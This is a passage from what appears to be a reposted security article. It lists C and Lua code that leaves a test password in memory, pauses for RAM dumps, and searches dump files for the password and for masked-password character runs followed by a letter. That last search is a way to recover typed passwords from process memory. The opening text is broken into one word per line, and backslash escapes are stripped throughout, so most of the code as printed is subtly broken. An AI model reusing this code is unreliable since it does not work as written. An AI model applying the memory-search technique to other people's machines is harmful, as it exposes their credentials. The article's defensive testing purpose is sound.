    do
    so),
    and
    get
    ready
    to
    do
    some
    pentesting-style
    work
    such
    as
    runtime
    monitoring
    and
    memory
    dumping
    to
    verify
    that
    secure
    code
    really
    is
    behaving
    as
    it’s
    supposed
    to.


CODE
FROM
THE
ARTICLE:
UNL1.C


#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void hexdump(unsigned char* buff, int len) {
   // Print buffer in 16-byte chunks
   for (int i = 0; i < len+16; i = i+16) {
      printf("%016X: ",buff+i);
      // Show 16 bytes as hex values
      for (int j = 0; j < 16; j = j+1) {
         printf("%02X ",buff[i+j]);
      }
      // Repeat those 16 bytes as characters
      for (int j = 0; j < 16; j = j+1) {
         unsigned ch = buff[i+j];
         printf("%c",(ch>=32 && ch<=127)?ch:'.');
      }      
      printf("n");
   }
   printf("n");
}

int main(void) {
   // Acquire memory to store password, and show what 
   // is in the buffer when it's officially "new"...
   char* buff = malloc(128);
   printf("Dumping 'new' buffer at startn");
   hexdump(buff,128);
   
   // Use pseudorandom buffer address as random seed
   srand((unsigned)buff);

   // Start the password with some fixed, searchable text
   strcpy(buff,"unlikelytext");

   // Append 16 pseudorandom letters, one at a time
   for (int i = 1; i <= 16; i++) {
      // Choose a letter from A (65+0) to P (65+15)
      char ch = 65 + (rand() & 15);
      // Then modify the buff string in place
      strncat(buff,&ch,1);
   }
 
   // The full password is now in memory, so print
   // it as a string, and show the whole buffer...
   printf("Full string was: %sn",buff);
   hexdump(buff,128);

   // Pause to dump process RAM now (try: 'procdump -ma')
   puts("Waiting for [ENTER] to free buffer...");
   getchar();

   // Formally free() the memory and show the buffer
   // again to see if anything was left behind...
   free(buff);

   printf("Dumping buffer after free()n");
   hexdump(buff,128);

   // Pause to dump RAM again to inspect differences
   puts("Waiting for [ENTER] to exit main()...");
   getchar();

   return 0;
}


CODE
FROM
THE
ARTICLE:
UNL2.C


#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>

void hexdump(unsigned char* buff, int len) {
   // Print buffer in 16-byte chunks
   for (int i = 0; i < len+16; i = i+16) {
      printf("%016X: ",buff+i);
      // Show 16 bytes as hex values
      for (int j = 0; j < 16; j = j+1) {
         printf("%02X ",buff[i+j]);
      }
      // Repeat those 16 bytes as characters
      for (int j = 0; j < 16; j = j+1) {
         unsigned ch = buff[i+j];
         printf("%c",(ch>=32 && ch<=127)?ch:'.');
      }      
      printf("n");
   }
   printf("n");
}

int main(void) {
   // Acquire memory to store password, and show what 
   // is in the buffer when it's officially "new"...
   char* buff = VirtualAlloc(0,128,MEM_COMMIT,PAGE_READWRITE);
   printf("Dumping 'new' buffer at startn");
   hexdump(buff,128);

   // Use pseudorandom buffer address as random seed
   srand((unsigned)buff);

   // Start the password with some fixed, searchable text
   strcpy(buff,"unlikelytext");

   // Append 16 pseudorandom letters, one at a time
   for (int i = 1; i <= 16; i++) {
      // Choose a letter from A (65+0) to P (65+15)
      char ch = 65 + (rand() & 15);
      // Then modify the buff string in place
      strncat(buff,&ch,1);
   }
 
   // The full password is now in memory, so print
   // it as a string, and show the whole buffer...
   printf("Full string was: %sn",buff);
   hexdump(buff,128);

   // Pause to dump process RAM now (try: 'procdump -ma')
   puts("Waiting for [ENTER] to free buffer...");
   getchar();

   // Formally free() the memory and show the buffer
   // again to see if anything was left behind...
   VirtualFree(buff,0,MEM_RELEASE);

   printf("Dumping buffer after free()n");
   hexdump(buff,128);

   // Pause to dump RAM again to inspect differences
   puts("Waiting for [ENTER] to exit main()...");
   getchar();

   return 0;
}


CODE
FROM
THE
ARTICLE:
S1.LUA


-- Start with some fixed, searchable text

s = 'unlikelytext'

-- Append 16 random chars from 'A' to 'P'

for i = 1,16 do
   s = s .. string.char(65+math.random(0,15))
end

print('Full string is:',s,'n')

-- Pause to dump process RAM  

print('Waiting for [ENTER] before freeing string...')
io.read()

-- Wipe string and mark variable unused

s = nil

-- Dump RAM again to look for diffs

print('Waiting for [ENTER] before exiting...')
io.read()


CODE
FROM
THE
ARTICLE:
FINDIT.LUA


-- read in dump file

local f = io.open(arg[1],'rb'):read('*a')

-- look for marker text followed by one 
-- or more random ASCII characters 

local b,e,m = 0,0,nil
while true do
   -- look for next match and remember offset
   b,e,m = f:find('(unlikelytext[A-Z]+)',e+1)
   -- exit when no more matches
   if not b then break end
   -- report position and string found
   print(string.format('%08X: %s',b,m))
end


CODE
FROM
THE
ARTICLE:
SEARCHKNOWN.LUA


io.write('Reading in dump file... ')
local f = io.open(arg[1],'rb'):read('*a')
io.write('DONE.n')

io.write('Searching for SIXTEENPASSCHARS as 8-bit ASCII... ')
local p08 = f:find('SIXTEENPASSCHARS')
io.write(p08 and 'FOUND' or 'not found','.n')

io.write('Searching for SIXTEENPASSCHARS as UTF-16... ')
local p16 = f:find('Sx00Ix00Xx00Tx00Ex00Ex00Nx00Px00'..
                   'Ax00Sx00Sx00Cx00Hx00Ax00Rx00Sx00')
io.write(p16 and 'FOUND' or 'not found','.n')


CODE
FROM
THE
ARTICLE:
FINDBLOBS.LUA


-- read in dump file specified on command line

local f = io.open(arg[1],'rb'):read('*a')

-- Look for one or more password blobs, followed by any non-blob 
-- Note that blob chars (●) encode into Windows widechars
-- as litte-endian UTF-16 codes, coming out as CF 25 in hex.


local b,e,m = 0,0,nil
while true do
   -- We want one or more blobs, followed by any non-blob.
   -- We simplify the code by looking for an explicit CF25
   -- followed by any string that only has CF or 25 in it, 
   -- so we will find CF25CFCF or CF2525CF as well as CF25CF25.
   -- We'll filter out "false positives" later if there are any.

   -- We need to write '%%' instead of x25 because the x25
   -- character (percent sign) is a special search char in Lua!

   b,e,m = f:find('(xCF%%[xCF%%]*)',e+1)

   -- exit when no more matches
   if not b then break end

   -- CMD.EXE can't print blobs, so we convert them to stars.
   print(string.format('%08X: %s',b,m:gsub('xCF%%','*')))
end


CODE
FROM
THE
ARTICLE:
SEARCHKP.LUA


-- read in dump file specified on command line

local f = io.open(arg[1],'rb'):read('*a')

local b,e,m,p = 0,0,nil,nil
while true do
   -- Now, we want one or more blobs (CF25) followed by the code
   -- for A..Z followed by a 0 byte to convert ACSCII to UTF-16
 
   b,e,m = f:find('(xCF%%[xCF%%]*[A-Z])x00',e+1)

   -- exit when no more matches
   if not b then break end

   -- CMD.EXE can't print blobs, so we convert them to stars.
   -- To save space we suppress successive matches
   if m ~= p then
      print(string.format('%08X: %s',b,m:gsub('xCF%%','*')))
      p = m
   end
end

About Author

Subscribe To InfoSec Today News

You have successfully subscribed to the newsletter

There was an error while trying to send your request. Please try again.

World Wide Crypto will use the information you provide on this form to be in touch with you and to provide updates and marketing.